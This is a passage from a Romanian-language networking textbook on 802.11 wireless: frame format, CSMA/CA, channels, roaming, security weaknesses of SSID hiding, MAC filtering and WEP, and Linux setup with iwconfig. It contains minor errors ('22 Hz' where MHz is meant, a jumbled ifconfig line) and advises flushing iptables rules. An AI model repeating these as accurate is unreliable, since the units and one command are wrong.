5-5: Formatul cadrului 802.11 Not: n desenul de mai sus, cifra ce se afl deasupra fiecrui cmp din cadru specific numrul de octei ocupat n antet iar mrimea cmpurilor de sub control cadru este exprimat n bii. Specificaiile din figura au fost extrase din standardul republicat de IEEE n 2007. Prima observaie este c dimensiunea maxim posibil a cadrului wireless este de 2346 de octei. Dup cum s-a specificat n capitolul 2, protocolul Ethernet nu permite un MTU mai mare de 1518 octei. Ce se va ntmpla deci, cnd un cadru wireless de dimensiunea mai mai mare de 1518 bytes, va intra ntr-o reea Ethernet? Cum la nivelul 2, protocolul Ethernet nu ofer o posibilitate de fragmentare a unui cadru de dimensiune prea mare, protocolul de nivel superior (cel mai adesea este vorba de IP) va trebui s ofere serviciul de fragmentare. Bineneles ca acest proces va avea ntotdeauna loc n interiorul unui bridge sau AP. Not: n general MTU-ul de pe reele wireless este setat implicit la maxim 1518 pentru a evita procesul de fragmentare care introduce un overhead de procesare la nivelul echipamentelor de reea. Primul cmp din cadrul wireless este numit cadrul de control i ocup 2 octei. Cele mai importante informaii pe care acesta le furnizeaz sunt biii de To DS2 i From DS. Cele 4 combinaii care se pot obine din varierea valorilor acestor 2 bii ofer o interpretare unic a celor 4 adrese MAC din cadrul wireless. n continuare se vor prezenta aceste interpretri:

Uninterruptible power supply dispozitive care n cazul unei pane de curent, pot oferi energie electric, fr a ntrerupe fluxul de alimentare. 2 Distribution System termenul este echivalent cu access point.

171 | W i r e l e s s

ctre AP 0 0 1 1

de la AP 0 1 0 1

adresa 1 destinaie destinaie BSSID receptor

adresa 2 surs BSSID surs transmitor

adresa 3 BSSID surs destinaie destinaie

adresa 4 surs

5-6: Utilizarea cmpurilor "ctre AP" i "de la AP" Pentru o mai bun nelegere a cmpurilor de mai sus, se recomand consultarea standardului IEEE publicat n 20071. In interiorul cadrului 802.11 este prezent i un cmp de durat. Acesta fusese creat pentru a oferi unei staii posibilitatea de a putea comunica celorlalte staii perioada n care aceasta va ocupa mediul. Se va analiza pe scurt un scenariu simplu pentru a releva importana acestei faciliti.
1. Se presupune c ntr-o reea wireless, staia A vrea s transmit. 2. Aceasta va asculta mediul (Carrier Sense) i dac este liber (Multiple Access) va ncepe s transmit completnd i cmpul de durat cu o valoare estimat. 3. Cadrul pe care staia A l va transmite va ajunge la toate staiile care sunt n raza sa de transmisie. 4. Staia B asculta i ea mediul, cci vroia s transmit. Cnd va primi cadrul staiei A, va citi n cmpul de durat c aceasta va ocupa mediul timp de x secunde. 5. tiind c timp de x secunde mediul va fi ocupat cu transmisia staiei A, staia B nu va mai scana mediul n acest interval i astfel va conserva, astfel, putere.

La nceputurile standardului, ideea era una destul de practic, cci dispozitivele care sunt n general dotate cu capabiliti wireless, au acumulatori cu timp limitat de funcionare. S-a observat ns, c informaia de durata poate deschide reeaua la unele hibe de securitate i de aceea cmpul de durat nu este folosit n comunicaiile din prezent.

5.1.6.2 Accesul la mediu


Reelele 802.11 se mai numesc, eronat, Wireless Ethernet. Dei cele dou tehnologii au unele lucruri n comun, asemnri majore ntre ele nu exist nici la nivel fizic, nici la nivelul legtur de date. n specificaia Ethernet tehnica de acces la mediu este CSMA/CD. Aceasta ns se refer la situaia n care mediul este comun, adic fie se utilizeaz huburi, fie topologiile erau de tip magistral. Astzi ns, niciuna dintre situaiile acestea nu mai este ntlnit n practic: se utilizeaz switchuri ce elimin coliziunile de pachete pe mediu, aceasta fcnd CSMA/CD inutil. Printre beneficii se numr att comunicaia full-duplex ct i banda garantat. n cazul reelelor wireless ne ntoarcem ns la situaia n care mediul este partajat, din acest punct de vedere, reeaua fr fir semnnd cu o reea Ethernet bazat pe hub. Anumite particulariti fac ns CSMA/CD s fie ineficient n cazul transmisiilor fr fir. S consideram urmtorul exemplu: trei staii A, B i C fac parte dintr-o reea wireless adhoc. B este n raza lui A dar C nu. A dorete s transmit ctre B.

http://standards.ieee.org/getieee802/download/802.11-2007.pdf

172 | R e e l e L o c a l e

5-7: Problema staiei ascunse Dac se folosete CSMA/CD, atunci A va asculta mediul i dac nu recepioneaz semnal, va ncepe s transmit. Ce se ntmpl dac C transmite ctre B n momentul acesta? A nu va recepiona semnalul pentru c C nu e n raza sa de acoperire, aa c va ncepe s transmit odat cu staia C, rezultnd astfel o coliziune pe mediu. Aceast problem se numete problema staiei ascunse. Pe lng acest gen de probleme, mai apare nc una, de ordin tehnic: un transceiver radio nu poate transmite i recepiona n acelai timp. Aa c o staie nu poate asculta mediul n timp ce transmite, pentru a vedea dac a aprut vreo coliziune.

5.1.6.2.1 CSMA/CA
n concluzie, nu putem folosi CSMA/CD pentru a asigura accesul la mediul wireless partajat. Soluia adoptat de standard se numete CSMA/CA (Carrier Sense Multiple Access/Collision Avoidance). Funcionarea acestui mecanism se bazeaz pe trimiterea unui cadru special de ACK de la destinaie la surs, dup fiecare cadru 802.11 primit la destinaie. Dac dup trimiterea unui cadru, nu se primete un ACK, se ateapt un timp aleator i se ncearc din nou s se trimit cadrul pentru care nu s-a primit ACK. Se analizeaz modul n care aceast metod rezolv problema staiei ascunse:
Staia A ascult mediul i nu detecteaz prezena unui semnal ncepe s transmit Staia C face exact acelai lucru i ncepe i ea s transmit Se produce o coliziune ntre cele dou cadre i niciunul din ele nu ajunge la staia B, deci staia B nu trimite ACK nici staiei A, nici staiei C Ambele staii ateapt un timp predefinit n care ateapt ACK. Dac timpul de ateptare expir ambele staii vor atepta un timp aleatoriu numit DIFS (Distributed Interframe Spacing) nainte sa transmit din nou.

Atenie! deoarece n wireless, pentru fiecare cadru trimis, se ateapt un ACK, banda efectiv de care se dispune, este de la nceput njumtit. O alt metod de acces la mediu prevzut n CSMA/CA presupune folosirea unor mesaje speciale de tip RTS (request to send) i CTS (clear to send). Folosind acest mecanism, o staie ntreab AP-ul dac mediul de transmisie este liber folosind un mesaj de tip RTS. Acest cadru ajunge doar la AP. AP-ul, fiind punctul central al reelei, nu are problema staiei ascunse. Dac mediul este liber, AP-ul trimite un CTS n care specific staia ce a obinut permisia de a transmite. Mesajul de tip CST ajunge la toate staiile din reea, nu doar la cea care a cerut acces la mediu prin mesajul RTS anterior. Astfel staia ce dorea s transmit va primi acces, iar celelalte staii vor considera mediul ocupat de aceasta.

173 | W i r e l e s s

5.1.6.3 Canale de comunicaie


Dup cum se poate observa pn n acest punct, dei CSMA/CA prevede o metod de comunicare funcional, totui nu ofer o soluie ca dou staii s poat transmite n acelai timp, pe aceeai frecven. S-ar obine o coliziune urmat de retransmiterea pachetului. Deci, cum se pot obine dou reele wireless, care s funcioneze n aceeai banda ISM, i care s nu produc o coliziune sau s interfereze una cu cealalt. Rspunsul rezid n analiza limii de band care este folosit ntr-o transmisie wireless. Limea de band este pn la urma o plaja de frecvene n care se transmite un semnal. Se va lua ca exemplu standardul 802.11g. Pentru a putea transmite 54 Mbps, folosind OFDM i tehnici de transmisie n spectru mprtiat, este nevoie de o plaj de frecvene de doar 22 Hz. Dar banda ISM de 2,4 GHz se ntinde ntre 2,401 i 2,473 Ghz (o plaj de 72 Hz). Deci se pot transmite simultan n aceast banda ISM, 3 (72/22) fluxuri wireless separate, care funcioneaz fiecare ntr-o band separat de 22 Hz. Aceste benzi de 22 Hz, se numesc canale. Folosirea mai multor canale, face posibil coexistena a dou reele wireless care funcioneaz n aceeai band ISM, n acelai domeniu de propagare. Standardul 802.11g specific existena mai multor astfel de canale care sunt spaiate la doar 5 MHz unul de cellalt i care se suprapun pe o band de 17 MHz. De ce sunt prevzute mai multe canale care interfereaz unul cu cellalt, n loc de trei canale complet independente? Pentru c se dorete posibilitate reglajului fin n cazul unei interferene de interval mic la unul din capetele unui canal. Lrgimea benzii ISM difer ntre standardul din America i cel din Europa. n timp ce n America se specific intervalul 2,401 - 2,473 Ghz, n Europa se precizeaz plaja de 2,401 GHz pn la 2,483 GHz. Cele 3 canale ce nu interfereaz sunt 1,6 i 11 n America i 1, 7 i 13 n Europa. n anul 2003 IEEE a publicat standardul 802.11h, care a fost ncorporat n 802.11 n 2007. Acest amendament adus standardului original introduce i canale suplimentare n benzile UNII pentru reelele 802.11a. n prezent, se beneficiaz de 23 de canale n Statele Unite i de 19 n Europa.

5.1.6.4 Roaming
Colocalizarea mai multor reele poate fi folosit i n alt scop: mrirea acoperirii i benzii unei reele wireless prin adugarea de access point-uri. Pentru a realiza acest deziderat, nu este suficient s adugam mai multe AP-uri la reea aa cum punem mai multe becuri pentru a face mai mult lumin. n momentul n care apar mai multe access point-uri, automat se creeaz mai multe reele wireless. n consecin, vor aprea coliziuni ntre ele dac nu folosim canale disjuncte.

5-8: Roaming

174 | R e e l e L o c a l e

Topologia din figur poart numele de ESS (Extended Service Set) i funcioneaz astfel: AP-urile sunt conectate n acelai reea Ethernet i funcioneaz respectiv pe 3 canale disjuncte (1-7-13). Astfel, cnd o staie intr n raza de acoperire a reelei, ea va fi asociat APului cu semnalul cel mai puternic din acea zona. Aici se aplic funcia de reasociere a AP-urilor. Dac o persoan cu un PDA traverseaz de la stnga la dreapta reeaua, PDA-ul va fi asociat pe rnd fiecruia dintre AP-uri. Spre exemplu cnd semnalul de la access point-ul 1 devine prea slab, adaptorul va fi intrat deja n raza access point-ului 2 i va fi asociat acestuia fr pierderea conexiunii la reea. Acest serviciu, ca i la telefonia mobil, poart numele de roaming. Folosind o topologie ESS, nu se extinde doar raza reelei, ci i se ofer mai mult band clienilor mobili. Aceasta pentru c fiecare AP ofer clienilor lui pn la 54 Mbps, deci n total ele vor constitui o reea wireless cu o band de 3x54 Mbps = 162 Mbps.

5.1.6.5 VLAN-uri
VLAN-urile se configureaz n general pe switchuri pentru a putea obine mai multe domenii de broadcast. Aceste VLAN-uri se pot extinde i n reelele wireless prin maparea unui SSID diferit pentru fiecare VLAN dorit . Prin aceasta operaie se obine o virtualizare a access point-ului, acesta aprnd ca mai multe reele diferite. Singura limitare este ca toate reele trebuie s funcioneze pe acelai canal cci un transmitor wireless nu poate genera trafic pe mai multe canale n acelai timp. Bineneles c nu orice AP va putea s suporte VLAN-uri. De fapt, singurul lucru de care are nevoie AP-ul, este suport pentru protocolul 802.1q, pentru a putea realiza un trunk1 cu switchul n care este legat. Unele AP-uri suport chiar si tehnici de QoS (802.1p2) pentru a putea clasifica importana traficului din fiecare VLAN. Un motiv important pentru care s-ar dori existena VLAN-urilor pe AP-uri este separarea reelei wireless dup diferite privilegii de securitate (guest, user, VIP).

5-9: VLAN-uri
1 2

A se vedea capitolul 2 http://en.wikipedia.org/wiki/802.1p

175 | W i r e l e s s

5.1.7 Securitatea wireless

5.1.7.1 SSID broadcast


Fiecare reea wireless este identificat printr-un nume: aa numitul SSID (Service Set Identifier). Pentru ca o staie s se poat asocia la o reea, ea trebuie s cunoasc SSID-ul reelei respective. n mod normal, access point-urile anun periodic SSID-ul reelei pentru ca o staie s verifice dac nu cumva dorete s se asocieze reelei respective. Acest proces de anunare se numete SSID broadcast. Cunoaterea SSID-ului de ctre o staie atacatoare poate fi un risc de securitate. Toate AP-urile ofer o setare ce permite eliminarea SSID broadcast, fornd astfel o asociere activ (staia trebuie s specifice manual reeaua la care dorete s se conecteze). Dei eliminarea SSID broadcast este considerat n unele documentaii ca fiind o msura de securitate, aceast afirmaie este eronat. Protocolul 802.11 conine n specificaii mesaje speciale numite beacons. Aceste mesaje sunt folosite de ctre AP ca un mecanism de verificare periodic a faptului c o staie este nc activ. Beacon-urile sunt vzute de toate staiile din reea i conin SSID-ul reelei. Deci eliminarea SSID broadcast este o msura complet inutil de securitate, odat ce SSID-ul poate fi aflat de atacator din aceste beacon-uri ce nu pot fi dezactivate. Trebuie spus totui c exist unele routere care permit eliminarea complet a SSID-ului, att din mesajele de broadcast, ct i din beacon-uri.

5.1.7.2 Filtrare bazat pe adresa MAC


O metod foarte des folosit n reelele mici este MAC Filtering. Aceasta presupune configurarea AP-ului astfel nct s permit accesul doar anumitor interfee wireless, pe baza adresei MAC. Spre exemplu, dac n reeaua voastr vrei s conectai doar aceleai cinci staii, putei configura AP-ul s accepte doar interfeele care au una dintre cele 5 adrese MAC. Nici aceast abordare nu e mult mai sigur: adresele MAC acceptate pot fi aflate prin captura traficului ntre ele i AP. Apoi un hacker poate schimba adresa MAC a interfeei proprii cu unul dintre MAC-urile capturate. Metodele prezentate mai sus, dei nu sunt foarte sigure, sunt foarte des folosite. Aceasta nu din lipsa de cunotine sau ignoran. Cnd vine vorba despre securitate, naintea lurii oricrei msuri, trebuie realizat o evaluare a riscului. Dac avei de realizat o reea wireless ntr-o central nuclear, atunci merit asigurat un maxim de securitate. Dac ns avei o reea acas i protejai o conexiune Internet, atunci msurile nu au de ce sa fie foarte drastice.

5.1.7.3 Securitatea WEP


Protocolul 802.11 include i o specificaie pentru un mecanism de securizare mai avansat: WEP (Wired Equivalent Privacy). Dup cum spune i numele, reprezint un mecanism specializat ce, teoretic, ar trebui s confere un nivel destul de ridicat de securitate. WEP asigur criptarea traficului din reea printr-un algoritm de criptare simetric denumit RC4. Pentru a securiza o reea prin acest mecanism, o cheie specific reelei (nu este acelai lucru cu SSID) este cunoscut de ctre toate nodurile crora li se permite asocierea. n momentul n care o staie dorete s se asocieze AP-ului, acesta verific dac staia cunoate cheia secret printr-o secven de challenge: trimite un mesaj aleator pe care staia trebuie sl returneze criptat. AP-ul va decripta apoi mesajul i va verifica dac este chiar mesajul pe care el l-a trimis iniial. Acest pas suplimentar la asociere poart numele de autentificare. Din acest moment staia poate comunica n reea, ns cadrele comunicate vor fi toate criptate cu cheia reelei.

176 | R e e l e L o c a l e

Din nefericire, orict de puternic ar fi criptarea i orict ar fi cheia de lung, faptul c aceasta este static este o mare vulnerabilitate. Un hacker poate intercepta secvena de autentificare i, cunoscnd algoritmul, va ncerca s afle cheia. Din moment ce aceasta se va schimba foarte rar, are foarte mult timp la dispoziie s o fac. Fiind vorba de tehnologie relativ recent, s-au fcut multe studii n legtur cu puterea WEP-ului, descoperindu-se astfel o serie de vulnerabiliti. Totul a culminat cu spargerea algoritmului n 2001, iar acum exist publicate pe Internet aplicaii care pot descoperi foarte repede cheia WEP pe baza pachetelor interceptate din reea.

5.1.7.4 Securitatea WPA/WPA2


Wi-Fi Alliance este un consoriu format din peste 300 dintre cele mai mari companii din domeniul IT, avnd ca scop promovarea i dezvoltarea tehnologiilor wireless. n 2003 Wi-Fi Alliance a propus un nou protocol pentru securitatea reelelor: WPA (Wi-Fi Protected Access) ce a devenit standardul de securitate pentru majoritatea echipamentelor 802.11. WPA implementeaz un subset al specificaiilor de securitate wireless prezente n standardul 802.11i i reprezint rspunsul industriei la ocul spargerii WEP-ului, venind cu soluii pentru cele mai importante vulnerabiliti descoperite acestuia din urm. Cea mai important mbuntire adus WPA-ului este folosirea unui protocol de schimbare dinamic a cheii de criptare pe durata conexiunii: TKIP (Temporary Key Integrity Protocol). Acesta vine s rezolve problema WEP legat de posibilitatea facil de recuperare a cheii. WPA funcioneaz n dou moduri: personal i enterprise. n prezent, WPA a ajuns la cea de-a doua versiune. n iunie 2004 IEEE a omologat standardul 802.11i, venit s amendeze standardul 802.11 cu privire la securitatea n reelele wireless. WPA2 implementeaz setul de specificaii obligatorii prezent n standardul 802.11i, pstrnd i compatibilitatea cu prima versiune a protocolului (WPA). Recomandrile actuale n privina securitii reelelor fr fir sunt folosirea unui sistem WPA2 Personal (AES PreShared Key) pentru utilizatorii casnici i WPA2 Enterprise mpreun cu un server RADIUS pentru mediul de afaceri. n pofida existenei acestor tehnici avansate de securitate, un studiu efectuat n iunie 2007 n Londra, oraul cu cel mai mare numr de reele fr fir din lume (7130 de puncte de acces), a artat c 19% din reelele fr fir nu aveau implementat niciun fel de sistem de protecie a reelei. Dintre cele care ofereau un oarecare nivel de securitate, 48% erau protejate cu WEP. Atenie! Dac parola pe care o folosii pentru securizarea reelei este slab, nu conteaz ce algoritm sau ce standard de securitatea folosii: reeaua va putea fi spart printr-un atac de tip brute force! De aceea se recomand citirea unui ghid 1 ce prezint cele mai bune practici n alegerea unei parole, nainte de a configura securitatea unei reele.

5.2 Configurarea unei reele wireless n Linux configurri de baz


5.2.1 De ce wireless pe Linux?
Pe parcursul ultimilor 5 ani, s-a investit destul de mult efort att din partea comunitii ct i din partea a diferite organizaii (Linux Foundation, WiFi Alliance, DELL) pentru a mbuntii i a populariza Linux ca o platform mobil pentru utilizatorul final. Prezentndu-se n lumea utilizrii sistemelor de operare ca o platform cu pretenii, odat cu apariia nevoii de mobilitate pe piaa IT, Linux a obinut suport pentru stiva 802.11 i a ptruns i n lumea dispozitivelor embedded, dezvoltnd platforme mpreun cu Texas Instruments i Intel.
1

http://www.ou.edu/committees/itc/policy/Guidelines_for_Passwords.html

177 | W i r e l e s s

n prezent, s-au fcut progrese reale pentru oferirea unui suport ct mai bun pentru drivere wireless, astfel c, n prezent, Linux ofer att soluii de reele adhoc, infrastructur de dimensiuni mici i medii ct i soluii enterprise. Unul din proiectele interesante care i propune s mreasc gama de suport wireless n Linux este NDISwrapper1. Pentru c muli productori nu elibereaz i drivere Linux pentru plcile wireless livrate, NDISwrapper face posibil instalarea de drivere wireless scrise n Windows API pe o platform Linux. Mai multe informaii se pot gsi pe pagina web a proiectului.

5.2.2 Configurri de baz


Se vor prezenta n continuare, att modul de configurare ale unei reele wireless adhoc i infrastructur, ct i modaliti de securizare pentru acestea. Dei Ubuntu ofer suport pentru configurarea n mediul grafic, pentru exemplele de mai jos se va prefer utilizarea linie de comand. Motivul pentru aceast alegere este lipsa de suport pe termen lung pentru clientul de wireless pe care Ubuntu l conine i instabilitatea pe care GUI-ul o are pentru unele drivere wireless. Folosind linia de comand, exist sigurana unei soluii independente de platform i care va putea fi aplicat pe orice distribuie de Linux Configurarea unei reele (att ad hoc ct i infrastructur) se poate face n dou moduri:
temporar - prin intermediul unor comenzi ce se aplic n momentul n care sunt introduse. Ele afecteaz software-ul ce ruleaz n RAM, deci configurrile nu vor fi persistente la urmtoarea pornire a sistemului. permanent - prin editarea fiierului de configurare /etc/network/interfaces i restartarea serviciului de reea. Fiierul este ncrcat la fiecare repornire a sistemului.

5.2.2.1 Pregtirea interfeei de reea


Un pachet esenial pentru acest capitol, care va fi folosit n toate configuraiile prezentate, este wireless-tools2. Acesta este inclus n Ubuntu 8.04, iar n cazul unei versiuni mai vechi de Ubuntu se poate instala uor folosind utilitarul apt:
waters@myr:-$ sudo apt-get install wireless-tools

Acest pachet conine urmtoarele utilitare:



iwconfig este un utilitar asemntor ifconfig

cu ajutorul cruia se pot configura

parametrii de baz ai unei legturi wireless. iwlist ofer posibilitatea de scanare n linie de comand pentru gsirea reelelor wireless. iwevent permite monitorizarea interfeei wireless i raportarea unui eveniment de asociere cu o reea wireless sau ncheierea unei scanri. iwspy afieaz parametrii de putere i de calitate ai legturii wireless iwpriv permite modificarea unor parametrii specifici fiecrui driver wireless

n multe cazuri, dificultatea realizrii unei reele wireless pe Linux nu const n configurrile propriu-zise, ci n diferite incompatibiliti cu drivere, cu diferite aplicaii activate n mod implicit n Ubuntu, sau chiar cu plci wireless pentru care nu exist nc suport n Ubuntu. Acest subcapitol a fost creat pentru a elimina unele probleme ce ar putea ngreuna realizarea unei reele wireless sau ar putea mpiedica setarea unor parametrii de baz. Se vor parcurge civa pai premergtori, ce vor asigura buna funcionare a configuraiilor din acest capitol.
1 2

http://ndiswrapper.sourceforge.net/joomla/ http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html

178 | R e e l e L o c a l e 1. Oprirea interfeei Ethernet.

Dei nu este un caz des ntlnit, unele drivere wireless nu permit configurarea reelei dac detecteaz conectivitate pe o legtura Ethernet, deci nainte de a configura reeaua ad hoc trebuie decuplat cablul Ethernet.
2. Oprirea firewall-ului

Trebuie asigurat c nu avei niciun firewall ( precum firestarter ), instalat i rulnd n sistem. n Ubuntu exist un firewall implicit numit iptables. Pentru a fi siguri c reeaua nu va fi blocat de o regul introdus accidental sau o regul ce blocheaz mai mult dect ar trebui s o fac, se recomand tergerea tabelei de filtrare a iptables astfel:
waters@myr:-$ sudo iptables -F

3. Oprirea NetworkManager-ului

Aplicaia din Ubuntu ce se ocup cu operaiile clientului de wireless se numete NetworkManager. Aceasta va trebui oprit nainte de a face orice configurare. Oprirea programului se poate face prin apelarea scriptului numit 25NetworkManager cu parametrul stop.
waters@myr:~$ sudo /etc/dbus-1/event.d/25NetworkManager stop * Stopping network connection manager NetworkManager [ OK ]

4. Compatibilitii hardware (doar pentru realizarea unei reele ad hoc)

Se recomand verificarea pe lista oficial de pe pagina web Ubuntu1 dac placa wireless suport modul ad hoc pe Ubuntu.
5. Verificarea driverului

Este posibil s apar probleme cu driver-ul instalat implicit de Ubuntu sau recunoaterea plcii wireless de ctre sistemul de operare. Pentru a putea verifica detectarea plcii wireless, se vor folosi comenzile:

lspci pentru plcile wireless ce funcioneaz pe port PCI. lsusb pentru plcile wireless ce funcioneaz pe port USB (adaptoare wireless).

waters@myr:-$ lspci [...] 04:00.0 Network controller: Intel Corporation PRO/Wireless 3945ABG Network Connection (rev 02)

Dac placa wireless nu apare n output, cel mai probabil Ubuntu nu a avut integrat un driver pentru placa de reea. n acest caz trebuie cutat pe site-ul productorului un driver wireless, iar dac nu exist driver pentru Linux, putei folosi soluia NDISwrapper pentru a instala un driver de Windows.

5.2.2.2 Configurarea unei reele ad hoc


Not: toate configurrile ce urmeaz trebuie realizate pe toate staiile din reeaua ad hoc. Dup cum s-a precizat, configurarea unei staii se poate face temporar sau permanent. Se vor urmri ambele abordri n cele ce urmeaz.

5.2.2.2.1 Configurarea temporar


Pentru nceput, trebuie aflat numele interfeei wireless de reea. Se va folosi comanda iwconfig fr niciun parametru pentru a afia interfeele active n sistem.
waters@myr:~$ iwconfig lo no wireless extensions. eth0
1

no wireless extensions.

https://help.ubuntu.com/community/WifiDocs/WirelessCardsSupported

179 | W i r e l e s s
wlan0 IEEE 802.11g ESSID:"" Nickname:"" Mode: auto Frequency:2.412 GHz Cell: Not-Associated Tx-Power=27 dBm Retry min limit:7 RTS thr:off Fragment thr=2346 B Power Management:off Link Quality:0 Signal level:0 Noise level:0 Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Not: sintaxa comenzii iwconfig este: iwconfig <interfaa_wireless> <parametru_reea> <valoarea_parametrului> Dac interfaa nu apare n rezultatul comenzii iwconfig, numele cu care sistemul identific aceast component (wifi0, wlan0, wireless0) poate fi aflat din consultarea fiierului /proc/net/dev.
waters@myr:~$ cat /proc/net/dev Inter-| Receive | Transmit face |bytes packets errs drop fifo frame compressed multicast|bytes packets errs drop fifo colls carrier compressed lo: 14016 184 0 0 0 0 0 0 14016 184 0 0 0 0 0 0 eth1: 1461444 10683 0 0 0 0 0 0 1034216 9140 0 0 0 0 0 0

Urmtoarele comenzi vor trebui introduse n ordinea n care sunt listate mai jos. Trebuie avut grij cu secvenierea comenzilor cci unele comenzi pot afecta setrile realizate anterior. Pentru a evita probleme de configurare ce ar putea aprea din cauza driver-ului, se va opri interfaa wireless nainte de aplicarea parametrilor de reea:
waters@myr:~$ sudo ifconfig wlan0 down

Specificarea tipului de reea wireless se face cu ajutorul parametrului mode al comenzii iwconfig.
waters@myr:-$ sudo iwconfig wlan0 mode

adhoc

Parametrul mode are cea mai mare prioritate n configuraie i trebuie introdus ntotdeauna primul n secvena de comenzi de configurare. Valorile sale relevante sunt:
master - aceast valoare desemneaz interfaa ca fiind una de AP. Se va folosi numai dac se dorete realizarea unui server Linux care s poat funciona ca Access Point. Se recomand consultarea WiFi-Docs1 pentru posibilitatea setrii plcii n acest mod. managed acest mod se folosete cnd se dorete conectarea la un AP ntr-o reea tip infrastructur ad hoc specific opiunea unei reele ad hoc

n continuare, trebuie configurat SSID-ul reelei ad hoc pe fiecare dintre staii.


waters@myr:~$ sudo iwconfig wlan0 essid my_network

Pentru unele adaptoare wireless este necesar i configurarea unui canal de comunicare.
waters@myr:~$ sudo iwconfig wlan0 channel 1

ntr-o reea adhoc se pot folosi i ali parametrii opionali ai comenzii iwconfig pentru a seta bit-rate-ul, puterea de transmisie sau parametrii de securitate. Pn la acest pas, a fost configurat o reea wireless ce ofer conectivitate de nivel 2. Pentru a putea asigura comunicare de nivel 7 trebuie configurai, mai nti, parametrii de nivel 3: adresele IP (de asigurarea conectivitii 4-7 se ocupa stiva TCP/IP i sistemul de operare).

https://help.ubuntu.com/community/WifiDocs/MasterMode

180 | R e e l e L o c a l e

Not: n general n lumea reelelor, administratorul de reea se ocup cu configurrile de nivel 1,2,3 i 4; mai puin cu nivelul aplicaie. Setarea adresei IP se face folosind comanda ifconfig:
waters@myr:~$ 192.168.1.255 up sudo ifconfig wlan0 192.168.1.1 netmask 255.255.255.0 broadcast

Atenie! toate staiile din reeaua ad hoc trebuie s se afle n acelai subnet pentru ca reeaua s poat funciona corect. Se poate folosi utilitarul ping pentru verificarea legturii de nivel 3 i SSH pentru testarea legturii de nivel 7.

5.2.2.2.2 Configurarea permanent


Dup cum s-a mai precizat, pentru a realiza o configuraie permanent trebuie editat fiierul text /etc/network/interfaces cu parametrii reelei. Not: n general pe Linux toate configurrile permanente se fac n fiiere text. Chiar i atunci cnd se folosesc utilitare n mod grafic, acestea opereaz modificri n fiiere text. Dei sintaxa este puin schimbat, se configureaz aceiai parametrii precum n cazul configurrii temporare:
auto wlan0 iface wlan0 inet static wireless-mode adhoc wireless-channel 4 wireless-essid my_network address 192.168.0.2 netmask 255.255.255.0

Atenie! ordinea parametrilor de configurare conteaz. Pentru a putea testa aplicarea corecta a parametrilor introdui n fiierul de configurare, trebuie forat reinterpretarea fiierului /etc/network/interfaces. Acest lucru se poate face prin repornirea serviciului de reea:
waters@myr:~$ sudo /etc/init.d/networking restart

Rezultatul comenzii iwconfig va reflecta parametrii aplicai:


waters@myr:~$ iwconfig wlan0 wlan0 IEEE 802.11g ESSID:"my_network" Nickname:"" Mode:Adhoc Frequency:2.427 GHz Cell: 00:19:E0:84:DD:4A Bit Rate=54 Mb/s Tx-Power=27 dBm Retry min limit:7 RTS thr:off Fragment thr=2346 B Power Management:off Link Quality=85/100 Signal level=-48 dBm Noise level=-82 dBm Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0 Tx excessive retries:0 Invalid misc:0 Missed beacon:0

5.2.2.3 Configurarea unei reele de tip infrastructur


Ca i n cazul reelei ad hoc configurarea se poate face temporar, prin comenzi iwconfig, sau permanent, prin editarea fiierului de configurare. Pentru ambele tipuri, vor trebui mai nti parcurse etapele de pregtire ale interfeei de reea descrise anterior.

181 | W i r e l e s s

5.2.2.3.1 Configurarea temporar


Pentru o reea de tip infrastructur va trebui setat modul managed, SSID-ul reelei la care se dorete conectarea i canalul de comunicaie folosit de reea. SSID-ul i canalul de comunicaie identific n mod unic o reea wireless, deci trebuie setate pe client la aceeai valoare la care au fost configurate i pe AP. Dac se dorete apartenena la o reea fr fir, trebuie aflat cumva SSID-ul reelei la care trebuie fcut asocierea. Pachetul wireless-tools include un utilitar numit iwlist, folosit pentru scanarea mediului i aflarea SSID-ului reelelor care se afl n raza receptorului wireless local. Pentru a porni scanarea, se va apela comanda iwlist astfel:
waters@myr:~$ sudo iwlist wlan0 scanning wlan0 Scan completed : Cell 01 - Address: 00:1B:FC:60:D7:8D ESSID:"YoGi" Mode:Master Channel:1 Frequency:2.412 GHz (Channel 1) Quality=71/100 Signal level=-63 dBm Noise level=-75 dBm Encryption key:on IE: WPA Version 1 Group Cipher : TKIP Pairwise Ciphers (2) : CCMP TKIP Authentication Suites (1) : PSK Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s; 18 Mb/s 24 Mb/s; 36 Mb/s; 54 Mb/s; 6 Mb/s; 9 Mb/s 12 Mb/s; 48 Mb/s ; 54 Mb/s Extra:tsf=000000ca49a2cfbc

Cell 02 - Address: 00:19:E0:84:DD:4A ESSID:"guest" Mode:Master Channel:11 Frequency:2.412 GHz (Channel 1) Quality=79/100 Signal level=-55 dBm Noise level=-75 dBm Encryption key:off Bit Rates:1 Mb/s; 2 Mb/s; 5.5 Mb/s; 11 Mb/s Extra:tsf=000000000190900b

Analiznd rezultatul comenzii, se poate observa existena a dou reele de tip infrastructur (identificate astfel dup parametrul mode Master) la care se poate ncerca conectarea:
Reeaua cu SSID-ul YoGi
o o o folosete frecvena de 2.4 Ghz i canalul 1 Adresa MAC prezent n directive Cell: este adresa fizic a AP-ului i poart numele de BSSID (Basic Service Set Identifier) ntr-o reea infrastructur. Analiznd bit rate-ul posibil pe care AP-ul l ofer, se poate concluziona faptul c AP-ul folosete protocolul 802.11g deoarece 802.11b, dei funcioneaz la aceeai frecven, nu are o rat teoretic de funcionare mai mare de 11 Mbps folosete autentificare i criptare pe baza protocolului WPA TKIP (chei schimbate n mod dinamic). folosete frecvena de 2.4 Ghz i canalul 11 Adresa MAC prezent n directive Cell: este adresa fizic a AP-ului i poart numele de BSSID (Basic Service Set Identifier) ntr-o reea infrastructur. Urmrind rezultatul ratei posibile afiate (bit rate), se poate identifica reeaua ca fiind 802.11b (vitez maxim 11 Mbps) reeaua nu folosete asociere securizat, fiind de tip OPEN (Encryption off). Atenie, acest lucru nu nseamna ca se va putea realiza ntotdeauna asocierea la reea. Chiar daca reeaua apare ca fiind OPEN la scanare, pot fi implementate politici de filtrare dup adresa MAC pe AP, care s permit doar anumitor staii s se asocieze reelei.

Reeaua cu SSID-ul Guest


o o o o

Se va configura n continuare asocierea la reeaua guest prin:


oprirea temporar a interfeei de reea ct timp se aplic noile configuraii setarea modului managed setarea SSID-ului i canalului corespunztor reelei guest deschiderea interfeei wireless

182 | R e e l e L o c a l e

Comenzile pentru efectuarea operaiilor de mai sus sunt dup cum urmeaz:
